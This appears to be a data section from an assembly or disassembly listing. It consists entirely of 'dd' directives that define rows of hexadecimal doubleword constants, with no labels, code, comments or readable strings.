dd 6EE0F1D9h, 4DA0B101h, 760605F3h, 1162DCh, 0A5C69883h
dd 0EB9FD8BCh, 0BF81E803h, 0F81DA2AAh, 24DF3A3Dh, 8078DC30h
dd 462E2057h, 2D020AACh, 8AD1AEFAh, 71C81014h, 9FEF2100h
dd 2BEDE6DCh, 0EAAF38E9h, 0AD62260Fh, 0BDFFEEA0h, 0CE50B805h
dd 1F0020FEh, 0A5929310h, 6F91F4h, 0A8C990E9h, 83E26453h
dd 3850814Ch, 87258957h, 0AADC2203h, 0D8660Eh, 0EF4D81B4h
dd 21AD6F50h, 8C9F561Dh, 0B0B14AC1h, 0B83066BCh, 0A0E903EAh
dd 1E97215Ah, 163C86B4h, 0D273000h, 0CA4DB162h, 10AA0035h
dd 23D5DD95h, 0EC3F70A6h, 4C440048h, 2D99D4CDh, 1B52036Ah
dd 7671A353h, 859C1280h, 0FC956900h, 562B8F15h, 0A97701C1h
dd 1172EBABh, 40C22061h
dd 0FEE29F00h, 6EDBD66h, 8073C7h, 65487660h, 14948D6Fh
dd 6DB25800h, 0F5308B75h, 747A0177h, 67450419h, 2E1EE4A5h
dd 684F6E26h, 63B86000h, 0F6712942h, 2A10B05Dh, 0D8C720h
dd 4C1AA975h, 9D78F9F8h, 6E689C03h, 80550CB0h, 783AD63h
dd 5AD66D15h, 0C0BE6405h, 4EABBF20h, 0F18C5E00h, 0B2F8994Ch
dd 0AAAC00FFh, 0E2D49716h, 800D919h, 792F02E0h, 204CE9F6h
dd 310073CBh, 0EC5C17A1h, 3DEEABD8h, 8F2CDA47h, 389140D4h
dd 0D005E50h, 0CBF6B579h, 1CD3E52Ch, 8053FE48h, 7CC1326Fh
dd 0C9FCAD73h, 0C848h, 0F430E302h, 2C11F5A1h, 2479D8BAh
dd 0C8A0738h, 0C2A34FFFh, 8FD03A43h, 0DB00B63Bh, 6FA66D20h
dd 362E4h, 0D7AB5A42h, 8C8EB7DAh, 43202305h, 2081E80Dh
dd 7C64BF05h, 0D189164Ch, 0A68C40B4h, 7D79BE5Fh, 1DA3100h
dd 17150BD4h, 7CA5079Ch, 83350D52h, 0D0ACB423h, 2D5A92A0h
dd 0C2F4FD05h, 5CE0DF96h, 0D0190008h, 912AC8Eh, 89EF4A71h
dd 875ED1B0h, 7C5076C7h, 13121634h, 52625Ah, 0B1790910h
dd 0F94CF3E1h, 0D8037E1Bh, 0A3048610h, 0F7D0006Ch, 457F693Ah
dd 0B09A1DEFh, 0E65B621Dh, 0CC40C9D2h, 6DE8DA7Eh, 83E0DD39h
dd 7C27B99Fh, 2BB1102h, 0E4483A0Ah, 226B2C0Ch, 0BD168068h
dd 49593DB8h, 0C3C7F701h, 7F90B399h, 170CD860h, 130BB1h
dd 0C2C8F910h, 1B005EBCh, 0B4B50FBDh, 570AE14h, 3BFC26D2h
dd 60C1815Ch, 211C7308h, 568C16E2h, 9CE460B4h, 86014B28h
dd 4EBAAB31h, 48746340h, 1CFF00F5h, 0DFCF4C88h, 0D23E7F84h
dd 0FEBE1E2Bh, 3B410818h, 73AA0C51h, 6369D5ECh, 3B8BE8B3h
dd 31E28CA5h, 923D09B7h, 836BB3h, 1900DFB4h, 0F97DB2Bh
dd 3AA3C2CDh, 4C032A1Bh, 586C6A30h, 393DE4E0h, 0BB04987Fh
dd 0D983156Dh, 5E8090C0h, 53A2EDBh, 89D100A4h, 0C449C336h
dd 87F24238h, 0A185ADDFh, 0D1547D80h, 993015CAh, 0F002CC08h
dd 90D7C535h, 0F89B074h, 0CC8F833Eh, 789E814h, 10925C9Eh
dd 94F9AF00h, 0A2991375h, 0F6B4ED00h, 55A96D96h, 0CDF04CBh
dd 0BC26FE5Bh, 0AE770184h, 0F359BDD6h, 64A780D6h, 0BC7038Eh
dd 0EDD2B15h, 9B390CE0h, 0D3F2A91Ah, 840C5611h, 8049AEDBh
dd 0D442906Eh, 41F80E00h, 1454F50Bh, 0A040E7FBh, 0AA456Ah
dd 8DA474ABh, 76CF2779h, 508BC412h, 52235440h, 16336E3h
dd 0F2C72FEDh, 30C6972Bh, 9C92A820h, 0E8755B02h, 5E8457DBh
dd 5F0F00B0h, 0B973AE8Bh, 8824D85Ch, 0D6DF87ECh, 1E14E427h
dd 515BD9C0h, 7E6845h, 0D3A57EAh, 0E6EF2A8Ch, 339E7200h
dd 63CF4B5Dh, 501B024Dh, 7EE2AC55h, 11D60CF0h, 0C5760CC0h
dd 0CB331C67h, 0D9650066h, 285229B1h, 99935E00h, 3AFEBDF9h
dd 76F50081h, 4D8F611Fh, 404C1A86h, 32EA0748h, 0B150B421h
dd 901F9067h, 20F44F97h, 5118A8F0h, 3009502Eh, 419D003Bh
dd 0D79546DAh, 34DB0023h, 686C4FFEh, 0F0010DBBh, 42AB7A3h
dd 0BDC11A5h, 0E3120F44h, 81A03E63h, 52AC0AF8h, 4C92E17Dh
dd 46B55500h, 4AE8FE8h, 0A74C003Dh, 2AF8C940h, 792F3691h
dd 972000D9h, 577A18h, 0DADDAC60h, 831021F1h, 4E0004F8h
dd 82BF654Bh, 0B27D27h, 0DAE7CADDh, 60156CF6h, 8FEC75E6h
dd 0EA9BBE07h, 20BFD192h, 0EEFBA070h, 0B8144C29h, 0CC4957A1h
dd 0AE711643h, 97E74F13h, 0E5F68000h, 34AA42h, 0F5887392h
dd 6E7A31C7h, 35FC3A09h, 20500F79h, 6F8364E0h, 0F41E49B9h
dd 0A5AC6500h, 0BF543BB2h, 14C98824h, 0AF7442h, 0EB7FCF97h
dd 0FBAB7B04h, 0BE806E84h, 45D2F7h, 5C68A9FEh, 0D3F3668Eh
dd 0E77F8C00h, 19C1DA67h, 0E4610362h, 0A13DDF43h, 5B4CAC90h
dd 800091FCh, 61E50D14h, 5B9D344h, 1CE16A8Ah, 0B6F48067h
dd 2303F108h, 41BEBB12h, 0ADA2C014h, 0D2200056h, 6FB46296h
dd 7E022CBCh, 0D4864EE1h, 0E903C0E4h, 4CA30F50h, 0C1A288FEh
dd 9BC09D01h, 0B03BC62h, 5F4FBEEDh, 0DD8FB03Ah, 0EC49586Fh
dd 150A8D1Eh, 203FC863h, 4947A9Ch, 0E0229B6Eh, 5C001FA0h
dd 0B7CA9671h, 0EAFAB214h, 0BAFD0012h, 0B5BD777Dh, 0D8A0C4E7h
dd 5403583Bh, 55148660h, 0D0909C9Dh, 136C9446h, 409FE55Ch
dd 0BF1AC5Ch, 0AA127464h, 9CD01EA1h, 5C02238Dh, 0F405E94Ch
dd 80DC5E63h, 7D1AC75Fh, 73B30BEh, 0F5B79695h, 0FDF880F8h
dd 0F713D7DDh, 0BBB55D00h, 8012BAE0h, 0E54B2C21h, 5E738054h
dd 0D5EF7EE3h, 0FD676100h, 4F4A646h, 97E401B5h, 0B9CCD2C9h
dd 0BA3181EAh, 3CDF9908h, 906471DAh, 8FD1C0FAh, 7B59917Ah
dd 4821004Dh, 9C93D9A7h, 54B36DBFh, 13883480h, 163A3CBDh
dd 407BD845h, 3ED747ECh, 40B1EDECh, 0A201239Eh, 0F31A66D9h
dd 304EA8h, 73D8EF94h, 91016318h, 9666F500h, 6C2A4E81h
dd 82F3146Ah, 0B027B09Ch, 3895CCC0h, 50445E00h, 42750FE2h
dd 1E991684h, 0C827C8h, 323C3EBEh, 74A4F470h, 0DEBCD559h
dd 520434C1h, 1960BFE4h, 0CC160A30h, 50742C29h, 0EA007DE4h
dd 0C2B68BA4h, 173A505h, 51BB2F36h, 9C562284h, 728F6620h
dd 2D1D204Fh, 0C2DF86h, 4130D1E6h, 409BB17h, 28C1F85Ah
dd 483CF1AFh, 0FE764EB0h, 9A7D5109h, 7302128h, 0E9839F86h
dd 3E61EDF5h, 4848F2B2h, 492AEC19h, 1120BC0Ch, 8F622581h
dd 0F1000067h, 731471FFh, 75D90030h, 0E4C1443Ch, 0A30006C7h
dd 4758DB94h, 5870C279h, 0E7076860h, 0ACF6C00Eh, 5019811h
dd 53C322A3h, 0F6603482h, 0CFE702A6h, 61BA3F25h, 0A8D46942h
dd 5653F203h, 0A96FE0B0h, 0C0B10939h, 6CF0F9F8h, 2DFAB02h
dd 0A0548D7Ch, 818809D0h, 416C2A58h, 48CD138Ch, 0DA1DD7h
dd 3477047Fh, 920032BAh, 0A1024124h, 0DFF4ACF3h, 0C0738250h
dd 9C820B76h, 898004E5h, 0F6AFB405h, 0E800A1B0h, 0AA68F4D9h
dd 1551660h, 8189F9DFh, 0FA8DF16Ah, 0DA00FC64h, 15EF041Dh
dd 75EEE6Dh, 7643FE02h, 0B120C0ABh, 7D090DC8h, 70C46684h
dd 8EBD1CECh, 610E803Dh, 917BAB38h, 9DBFDF00h, 9E0444Fh
dd 5AE5F8F9h, 4D08185h, 0AF53F02Eh, 0E6481300h, 622A8137h
dd 0B9260086h, 405A69Ch, 0B00058FFh, 0EEAF4297h, 3BE449F9h
dd 30807279h, 5A675406h, 0DA0BE970h, 0E80ECE8h, 6B180094h
dd 0F074A6h, 3B7D5593h, 83362FD5h, 6D46BD00h, 22B44029h
dd 0D0E600FCh, 13C50309h, 0F0A0A624h, 0BD4D4E37h, 60302708h
dd 0BCDF98h, 7FCB7D18h, 55941499h, 1FFB39h, 0DD5169CDh
dd 3FF3606Ch, 0B7806B91h, 0BCC7E966h, 0E20205D9h, 0F66F2ECDh
dd 60CC8E4Eh, 301A5761h, 591B0028h, 9293D47Ah, 94BA41C1h
dd 9821DB4Fh, 2007BE8Ch, 5DDC22D7h, 200E278h, 0B108F477h
dd 76D22F49h, 0A1117EDh, 333401F7h, 60AF93FBh, 0B0006AC0h
dd 0D767141Eh, 92D8B32Dh, 2822FBC0h, 99373600h, 8DF0A452h
dd 0E53FB217h, 2F564202h, 2387E8Fh, 78D1C351h, 5341B260h
dd 66ABA91Fh, 0B4E0F80h, 18D8E5Fh, 52CCF317h, 3EC820ACh
dd 0A9A3800h, 4C0D0Bh, 0D7B81BB0h, 97877E37h, 40688B00h
dd 5A339242h, 0F5BC0093h, 24B4D675h, 0D33A07A5h, 41B59DABh
dd 9F267300h, 6B9DB0h, 0CB0DE6C4h, 0D56EB24Bh, 6C75A200h
dd 0D61E6A3Ah, 6208005Dh, 866D58A6h, 3400192Dh, 8320FBA7h
dd 0D86884h, 0ACEB40FDh, 0C5AFE01Bh, 0C19ACB07h, 0F01077C2h
dd 58D2E5h, 82923549h, 24F765F9h, 9900709Ch, 47E1FD76h
dd 0E2BFD86h, 56EF4FA8h
dd 3FD6C340h, 0E204E745h, 8F9A6D64h, 1FB0E880h, 43A700D7h
dd 98FC4427h, 6B0022B5h, 8BAB11B1h, 16032049h, 0E4C8E9C1h
dd 2D00EED0h, 9474FE3Eh, 0F233E88Bh, 8C0424DDh, 8AF10014h
dd 250AAABCh, 7EA41F58h, 0BD08D61Eh, 0C110C9EDh, 0FDF4E4h
dd 7A589965h, 0CEC5B174h, 8EDCA71Ch, 0AD8879C0h, 2CD90CEBh
dd 821C104Bh, 91FCEA3Ah, 0BD1DCC7Ch, 8357218Bh, 0ED9F6720h
dd 0BB30E0h, 0CB5B38F0h, 3585C6A4h, 5C650A24h, 3C491001h
dd 81F44220h, 0E5280190h, 4B1C16E6h, 98A6F4F0h, 150075E2h
dd 24B59BA3h, 161FB365h, 4F91D1h, 8AA42842h, 5001C25h
dd 85ABFF94h, 1358AFB7h, 204D73C2h, 7DBC8C80h, 655B3902h
dd 605D8406h, 31E90F0h, 30A8B74Bh, 0E98854D8h, 0BE00AC92h
dd 0B4830BE0h, 4C85BAC4h, 0D0002078h, 7A477426h, 3A000990h
dd 99A18D8Bh, 48B8202Dh, 1000814Ch, 0DB9D74F3h, 1660CFF5h
dd 4948660Ah, 82542560h, 0DDE9FCC0h, 5722509h, 172083A9h
dd 40E8CCACh, 0A1A1E68Ch, 0ECE7F00Ah, 9E3BB0D1h, 0EA809A23h
dd 4B7ACBBAh, 0D9E1024Eh, 3727C943h, 3E281440h, 0A303BE02h
dd 6038F313h, 0B015A1Bh, 4829DD76h, 18004F89h, 9778B98Fh
dd 8C403700h, 1D13AFAh, 75610030h, 452B6B67h, 5DEE279Fh
dd 0AABD9200h, 4E563B87h, 4C400035h, 0E1EC96D5h, 0B31E8CFBh
dd 5B0FB5F1h, 8E09A0h, 0BAF60225h, 0C635D64h, 718C1F00h
dd 0FC94773Dh, 0DA2CD500h, 0E038E275h, 32220065h, 9BBE8844h
dd 98EC6EB3h, 0E707D7B8h, 81F9C8DFh, 95294B70h, 6E6F3CB4h
dd 0BF59CA30h, 7900D0D4h, 707E83A0h, 98F6FB72h, 1A9101FCh
dd 0D488905Dh, 9FA851E5h, 522A600Dh, 69E64A0Eh, 0BCA0B374h
dd 9B1C148Eh, 4F38B4CEh, 9D5A9280h, 2E419535h, 88F49900h
dd 636FC8EEh, 0CED7814h, 469B0A92h, 47008F41h, 5785C5F0h
dd 2C1B1536h, 580C8h, 0B16829A9h, 58B87CA0h, 4EA840Eh
dd 0BD7EA03Ch, 90A4D3FFh, 8077D6h, 0CED94221h, 0E7ED5667h
dd 0F3F8CB38h, 90FFAB14h, 534301DCh, 3C0A8B47h, 79E11F8h
dd 0B5543ACDh, 9BFE052h, 1A04FB21h, 18FE396Bh, 32383CF8h
dd 9DBC76FDh, 1FCD9C80h, 0E80AA7BEh, 0DC5CB161h, 3C1AA205h
dd 6C004CBCh, 0BE21E2CFh, 0F11CC0FCh, 2CCF91FEh, 0DDAE01D3h
dd 0D0400282h, 45FFFE2h, 1D4CF06Bh, 0EEBCC07Bh, 463829A5h
dd 90C28055h, 0F89A89D6h, 7757AA8h, 0E20832BFh, 0ACE09EF3h
dd 9F2703E6h, 0B9308602h, 0E8FD1F61h, 113C6Ch, 0CE3182D1h
dd 0D3906B70h, 0EEA64000h, 17D55204h, 74181F63h, 73AF4001h
dd 6816695Ah, 0AEC02200h, 48A7F7FBh, 0E6EF01CDh, 9BBC2DD6h
dd 716460A4h, 0B0094F05h, 75FC23E8h, 51F7FC07h, 0A606408Ch
dd 7E1E07A4h, 0F8C4CE5h, 99C88B4h, 0A2F1FF0Ch, 0B7653C23h
dd 339F31F8h, 0A8EDA00Eh, 0DC801CFEh, 0F8D854F4h, 8A36001Fh
dd 67B93902h, 38CF2F62h, 0F7F600B3h, 17A1E60h, 0D302EAD8h
dd 8113959Dh, 0D2A79120h, 11AE9C83h, 23440B60h, 3400D0D8h
dd 0F05FD649h, 7AE1189Fh, 64710136h, 33D7A97Dh, 8583D0C7h
dd 0DC90DD16h, 0BBFC3713h, 0F4B2C040h, 0BF201D82h, 80CE0EEAh
dd 0C2D8CC20h, 0A6008DFCh, 5FB15A09h, 3F5811Bh, 30E3A5D0h
dd 0A087616Eh, 177BA918h, 89164F7Ch, 8003C60h, 2E2D5B28h
dd 1645E0BCh, 0B391095Ah, 4259BC00h, 22C22DA0h, 40620954h
dd 12CE63FBh, 0C5F84CF3h, 57C13E0h, 0C06DE410h, 0EA68CAB6h
dd 0A80F5Ch, 522B4D5Ah, 4A027B8Dh, 8C942032h, 0D0561B8h
dd 0D7239967h, 410110F8h, 8ECCFF2Fh, 0BF6470D0h, 0AF64DD3Fh
dd 96FC60C3h, 7D41883Fh, 52ADEA00h, 26A707Bh, 1C9CF04h
dd 0CF14F500h, 564F881Dh, 8F609EFh, 4EAB64A0h, 37492175h
dd 867034h, 4DE10D1Dh, 0E2917090h, 0CB9F7402h, 40AC7E6Eh
dd 24F69BC4h, 0C04511h, 0D308D9EAh, 987470A1h, 8500E4B2h
dd 6FA4E403h, 616CA8h, 36DEBC7Ah, 0BD7DA75Ch, 7BBE100h
dd 0F70C19Eh, 54E80035h, 0EC76F989h, 0E900D541h, 0BC2AA890h
dd 30FEA213h, 0ABF0AE07h, 0A6011CDBh, 96506432h, 0ECC4F5E7h
dd 18D913AFh, 2330A47Ah, 0D0D7614Fh, 1101C67Ah, 2016044h
dd 2D782E4h, 9BD9EE6h, 0F48142B9h, 7A10D5EAh, 0D140F401h
dd 0E02CCDC7h, 48173E00h, 0ACBFB421h, 538F5516h, 75CC4CB0h
dd 0EA6B0110h, 22CD67DAh, 5CC0CF71h, 8300AB93h, 23E3CBC9h
dd 9F4F57h, 0AEFF9209h, 67975C11h, 757ECC09h, 0A4C804Dh
dd 20C0B08Fh, 8322E530h, 0FAF71FE0h, 0D64FC217h, 0BC51B2FCh
dd 7B58408h, 43E13FE7h, 97B04C48h, 0CC5CAB41h, 1ADD0C77h
dd 4376030h, 53AD9190h, 0B6EC02FAh, 0E47F0584h, 2F042704h
dd 6BDA414Fh, 576CE0h, 7ADBA98Eh, 6F1D56A3h, 810ED200h
dd 0F822B8E1h, 7F5B0CC6h, 0A388B0B1h, 0D56CFA07h, 28C26F11h
dd 7EE7C29Fh, 61C781BCh, 0F0EB514Bh, 0AE00E44Ch, 4F33FA5Eh
dd 0EE03BE2h, 0C56EA5C3h, 2C006549h, 1368C0E7h, 2C7CB13Ch
dd 0EE0713FBh, 0DAD04228h, 0C2B0E92Dh, 0F998AFC0h, 41E25872h
dd 4200FAE2h, 73AAA64Bh, 52F6EF24h, 1E1F9CA4h, 80D35D51h
dd 597DB9B2h, 7309A3B7h, 21371310h, 423066C8h, 3C9D5D8h
dd 2E4BD0B0h, 7AF314A9h, 0D8E8ACh, 554CD4FAh, 0A59E41h
dd 8314337Eh, 8AB5D20Ah, 0C5BF7001h, 0F274D465h, 0B4788FE9h
dd 3CD09800h, 0EB6A6BA3h, 0DE032271h, 0A719C2BCh, 8AD10081h
dd 3F3D9F16h, 4500999Ch, 2EB20D22h, 1E4609C8h, 0C060F15Ah
dd 4A55C269h, 53719336h, 0CDE38300h, 0C88A6E70h, 9D9C1D7Ah
dd 0F1A10022h, 401091FFh, 84024C9Ch, 48958F24h, 0E8B1400h
dd 83161E45h, 0A281218Eh, 8693B127h, 78BA2E21h, 6CF60339h
dd 74FFC8B3h, 63323CA0h, 7CFC18C7h, 0E4DC03C3h, 0E3E84CD1h
dd 0F1D860h, 0E97BAE04h, 0EF342EBFh, 2728EB7Dh, 1F7B30B6h
dd 586A391Fh, 16244440h, 0A8B427B9h, 84795940h, 80FD4440h
dd 9614FFFAh, 7104D10h, 1D93B022h, 0BA0B56F1h, 4AA68C8h
dd 4B5BD585h, 7249806Fh, 0B400A28Eh, 3D3CA4ACh, 12979926h
dd 225957h, 0D0EB9E23h, 390F86D2h, 80E2A5B2h, 0FAAFB98Dh
dd 0FC94007Ch, 0CCAC75E5h, 57E46FCFh, 0A527E207h, 8D508988h
dd 20CEA1h, 62F5B550h, 363AD1EBh, 0F2701100h, 82AEAC47h
dd 97860079h, 0E86D1392h, 6400C9FEh, 48EA211Bh, 0AF3A2Bh
dd 0B0FDFC16h, 0AB0EDE24h, 0D238DC00h, 0C602AA90h, 19BE0AD5h
dd 0B89597h, 0CD0C6D20h, 17B0E49Eh, 7025DFEAh, 80987193h
dd 40D1EE46h, 0D3383D09h, 2203745Bh, 2FF2525Ch, 0E13F8B05h
dd 0E7F0035Fh, 0F0170F51h, 0F3AF56DEh, 46319807h, 20001023h
dd 0FF526ED0h, 17A9B2Fh, 227082B6h, 0C4072E3Bh, 4001FBF2h
dd 54D13C17h, 0A471F011h, 1ED722F4h, 1B210350h, 30070860h
dd 291200Ch, 41423AC7h, 0CF805D26h, 512BCF0Fh, 64CE7528h
dd 505F048Fh, 0B360C488h, 6873910h, 2192608Ah, 0DE525CFh
dd 442B1603h, 30C32E76h, 0D421C708h, 9D00E5CCh, 49CFE963h
dd 0EEFF0E58h, 5F8E0371h, 0A5BF1F72h, 1A416900h, 34FFCF50h
dd 248019B3h, 74480836h, 220361CCh, 0EBFAFE50h, 93A2D042h
dd 7564EC94h, 0F8B51956h, 0D00BB1ADh, 7160D8F3h, 40064D11h
dd 1BE90B0Ch, 278DA4E3h, 4407B08h, 91401E30h, 238700A8h
dd 61244821h, 1200EF05h, 949046BEh, 51FE099h, 117BAACAh
dd 0AF884076h, 2EDA03Eh
dd 0A4F52000h, 0C20DBA46h, 0B03500F8h, 683B5A0Ch, 7CF80E05h
dd 0DC40C9C0h, 0C4341Eh, 2262D448h, 86F902ADh, 0B5AF7704h
dd 0D401F25h, 5D230FB6h, 0FFFC98A0h, 87B15A00h, 0FB660E77h
dd 0ADE8038Fh, 0A4AEF57Bh, 580572F1h, 5008DCA8h, 0C404FF21h
dd 203B4F4Bh, 2BBCF150h, 4E1930DCh, 0C2890119h, 9564E0A8h
dd 80354C3Dh, 6AD626F8h, 0DA469Ch, 5AC05F5Bh, 116644F2h
dd 0AB17B60Ch, 10FAA84Eh, 0BFDAF7h, 0A427390Fh, 0C5B96D9h
dd 6F2380EFh, 0E54E6E89h, 0B2765045h, 7729A840h, 0EEA7299h
dd 4AE42EF5h, 0C5C6A6C0h, 0DE0090E3h, 0E7F7B918h, 6777DBD5h
dd 0BDCA9AEh, 68EC24D2h, 0A51A0A8h, 0F4B0ED00h, 126F96D4h
dd 69996076h, 0D3AC0292h, 8966BD13h, 0BF0F6490h, 0FA24A071h
dd 96B0123h, 87D911B4h, 4DB1C0FDh, 0CCB63D06h, 6965DFh
dd 519ED381h, 46F0C18h, 351441DFh, 0E140750h, 8ED079B4h
dd 7C22B27Ah, 0D6C714A9h, 5C069485h, 2078900Eh, 39525F18h
dd 60EEE738h, 76102098h, 0B0A365C4h, 229701E0h, 4572A004h
dd 50877B6Ah, 0CE8FE3A1h, 0E6237100h, 89F25930h, 1885AC0Bh
dd 20D833CBh, 92326A49h, 5ABB3873h, 987F7Ch, 1CFD1459h
dd 0EE0F867h, 0A493CDF8h, 64400C0Fh, 1C622BE9h, 40042A20h
dd 85B600ECh, 4FFD18E2h, 0F80CF925h, 697BBFF1h, 0CE58009Ah
dd 0E10FBC4h, 0AD129FCAh, 801EE15Eh, 35972701h, 0F8828F7Ah
dd 4F336658h, 3EF0400h, 639814E3h, 9381E42Eh, 82DD37E0h
dd 1A12E9D8h, 10C62A7h, 80772390h, 0EE42980h, 341A09B7h
dd 34D1898h, 21BF301Ch, 9B736CAh, 7CE23312h, 18D62499h
dd 3F40080Dh, 64C423E9h, 40053740h, 90097547h, 9D5644D0h
dd 9EC81198h, 0B70D4080h, 0AB46507h, 225AE8A7h, 13068AF4h
dd 8CF411CCh, 52E93207h, 59224CD3h, 401F2D00h, 48A364D2h
dd 0AE8B09F8h, 0F4182011h, 4DFAD770h, 82005FF0h, 14D8FC53h
dd 2E696h, 99C62A37h, 0C092FA24h, 0C90FD8C0h, 0C90A327h
dd 846AA88h, 0B14DEF1Ah, 0BA1F0A90h, 0BAF86Eh, 49E821E3h
dd 2BE790Eh, 70C5480Dh, 18783F93h, 0BCD8084Ch, 82398C1Ch
dd 9FDB09ADh, 56D080D1h, 54C75B73h, 4E6C28h, 0BDD827C1h
dd 68B5127Ch, 0BACA2100h, 0F2323089h, 17200040h, 2EEF6AF1h
dd 0B0C69485h, 9419CE5h, 509B3F96h, 8BF14001h, 311980D8h
dd 0ECD73367h, 8D520EDCh, 1400F754h, 0B8FB76Ch, 409587Bh
dd 23BD76E2h, 0E056E130h, 161FEBh, 0B759CB87h, 8134415Dh
dd 3AEFE70Ah, 9C94E0B6h, 8C64E888h, 16F8EAA0h, 58632728h
dd 7CB9644h, 61E33E73h, 0F20904Dh, 0DD6071F0h, 41066D41h
dd 982304B5h, 82E2073Dh, 2E300B5Ch, 161211E5h, 1E29CD3h
dd 0DAE5C9D5h, 64A71DDCh, 0EB09AD40h, 495A62h, 6FE8245Ch
dd 40FE03DDh, 4756463h, 97C12B8h, 0AE5FBCA0h, 98A053h
dd 8F14E18Ch, 0CDE338h, 0DB068309h, 0EF7736E6h, 0F5689D08h
dd 69980171h, 86488E62h, 5A601968h, 20846C0h, 16DFE5D7h
dd 10C9313Bh, 7EE5FED2h, 62090172h, 6EB21E4Ah, 0F7069F2h
dd 340367B6h, 86113ACh, 55230C2Fh, 0BAACF307h, 5A6390D1h
dd 1B166032h, 9C6414EBh, 1E6A6906h, 0FBF8C891h, 0FC29443Eh
dd 1CC438A5h, 45D2E260h, 0DDE52905h, 0B7C40975h, 1078F4C2h
dd 87671163h, 41002389h, 0C0771E5Ah, 0A0E6B580h, 5E5CCF0Eh
dd 8C40BCD4h, 3806E100h, 96E0C683h, 4FDE0A9Ah, 847C5963h
dd 0C00BE3h, 0A72F3FEFh, 0E0622CE4h, 59100604h, 0FA46F841h
dd 0B400902h, 613103E9h, 40013310h, 0F5120700h, 2167D102h
dd 0F7F3131Ah, 0A64C42B6h, 94E55E16h, 8C6075E4h, 975CEA6Eh
dd 0EB188114h, 5993CE4Fh, 56E80C2Eh, 84905D89h, 0FCB97A61h
dd 0F0741E9Fh, 631F1296h, 20D04072h, 76FCB401h, 830D39CBh
dd 96899413h, 4A390069h, 0F2CCEBFDh, 0DC182208h, 3199760Ah
dd 0A010CC20h, 410E6EC9h, 8071FD1Fh, 1A0ECF09h, 3027705Fh
dd 0CA51DE89h, 6500F7C5h, 542A4868h, 1FC692AAh, 0D2406616h
dd 47400841h, 8A4C0828h, 401B8F20h, 0F35FF9D8h, 2E1A0008h
dd 6BC75A4Ah, 11240495h, 3F3DA858h, 13E30A0Fh, 63018CC8h
dd 2207AF6Ch, 609898ACh, 35532741h, 0BDC4FB18h, 928E76B0h
dd 70EF060Ch, 4CB0BB3Bh, 1277109Ah, 64EB6712h, 1EE78480h
dd 43AA899Dh, 0DB9B34F0h, 3E916C3h, 0DE288B4Dh, 39C01DA0h
dd 0DCC909C6h, 0B3001318h, 3EB91E62h, 9C5100E2h, 9FE356B9h
dd 5944C700h, 0F6B43D92h, 8829C66Fh, 330051D9h, 0DFA5B5BBh
dd 0BC95F2Bh, 27A02545h, 0B7024CB0h, 541A0D11h, 26808888h
dd 74FAB70Ah, 0B3E50F6Ch, 0E801E905h, 2086FD27h, 535D73D8h
dd 422E7D90h, 94003FBAh, 0B3565581h, 73F930B5h, 765CF899h
dd 5F6434E5h, 48798491h, 7D0CFA18h, 0A19C1663h, 30FB51B5h
dd 54B47CC8h, 911008FAh, 5B74648Ch, 1F608480h, 0FF21C850h
dd 2762C0DCh, 3A241850h, 0A23B9CFAh, 995DFA6Eh, 36F4002Ch
dd 8F5FE63h, 0E093E91Eh, 9893ACACh, 975286Fh, 701242EBh
dd 48009842h, 0B23DE1C0h, 0DF0A0B00h, 6A39B454h, 60411C83h
dd 5AFB0108h, 24F4B78Ah, 744421F4h, 8402B862h, 12940CA0h
dd 0DA119877h, 5524EC00h, 0BE913A0Dh, 5E723BF3h, 0F2CFA8DCh
dd 0D3D19B60h, 9900C7D2h, 0C0A11BCBh, 0C00E373Ah, 170F22F8h
dd 6B0F3EEBh, 1FBE76BBh, 2117CA6h, 0D6500D80h, 0B8A70CFFh
dd 50153800h, 315D817Ah, 0BBA1B717h, 36218E7Dh, 1AB800A3h
dd 93F9B3Eh, 0AB9ED5E1h, 0C08EC832h, 0E5CB81D1h, 31FE161Bh
dd 0F2EE10C5h, 0FD1548E5h, 0A6A00178h, 0B331A5A8h, 4C091E0h
dd 24501380h, 458C3CFFh, 501BDC46h, 3502A800h, 0DBFB1AF1h
dd 4C4C98C9h, 0E33AE0CFh, 4909CD20h, 0A0797662h, 91F8277Ch
dd 6DA42684h, 6A1408B0h, 54F20100h, 0EF15A18h, 108C2A99h
dd 4BF476C2h, 5035A84Ah, 736200B8h, 89EF5A27h, 0B3C0169Bh
dd 0B62C41DBh, 92546317h, 0C8CB1060h, 94C05AC8h, 3AC94BCAh
dd 0E6A6D59Fh, 4C161C9Ch, 6E58747Fh, 6C52E94Ah, 37290C8h
dd 7BEFC6A8h, 6030F179h, 6371B944h, 0A4112414h, 5B218C60h
dd 0A4998871h, 0F1407B80h, 1E49ACh, 54D83CE6h, 0EDAADFA8h
dd 14EEA402h, 5862CD7Fh, 0B45F12F4h, 16E83225h, 60FDB510h
dd 0F1D1970h, 143F36F7h, 631CD858h, 801A0A08h, 7E207C8h
dd 13ACAF0Fh, 541309DCh, 0A1E040B5h, 0E1CEC42Ch, 1858AA13h
dd 22B7B401h, 0C83624A0h, 54E4033Dh, 0B2C8D85Ch, 50BCF88h
dd 19F8B9B7h, 3B8DC042h, 9A607622h, 0C11FF21h, 0FC171DF1h
dd 0B11D12CAh, 2F786074h, 7C73DA41h, 0E7F30F7Ch, 7387ADFCh
dd 7CB819Eh, 772894DEh, 0E94400E8h, 93A0666Ah, 71F40994h
dd 7CE8DBEBh, 6E887A1Bh, 0B2E48BEEh, 0EFF23ACh, 0E904400Ah
dd 188E3Bh, 65400234h, 0C04FD51h, 9B76C9A8h, 0EF717AD9h
dd 0B6E9F526h, 62277C00h, 1B663A40h, 0C0FB03E3h, 3CF17023h
dd 0E90A4084h, 2758620Bh, 18400036h, 31DD4A7h, 474226CCh
dd 4C01725Bh, 501805A4h, 0A224FFF5h, 2067C464h, 0C1238A05h
dd 20681365h, 7E17246Ch, 9043FCB3h, 0ACEB6EB4h, 10A2BCD4h
dd 0E130C7F2h, 16880072h, 0E8271FD5h, 9D2406F0h, 810B4854h
dd 1D380907h, 804F9154h, 0E678C138h, 0AA2601FFh, 0B3FD390Fh
dd 0FB54240Eh, 0D44FBA4Fh, 0DB29E02Ch, 90CC39FDh, 0C1F22208h
dd 0F04800B8h, 93DC8104h
dd 841EC6Eh, 4822CF09h, 0CD3BEB08h, 7C2BE358h, 90848ACAh
dd 0B70D6026h, 0C1A2308h, 0C1008C11h, 2C9CB735h, 0B31E443Fh
dd 0D6529524h, 23A28081h, 90FCE834h, 64B09464h, 0DD48C833h
dd 5ADCC244h, 88C8240Fh, 9201D410h, 9B53890Dh, 7DE0F86Bh
dd 0EB7E1478h, 2101CCAh, 80668849h, 438E01DBh, 3C0037E0h
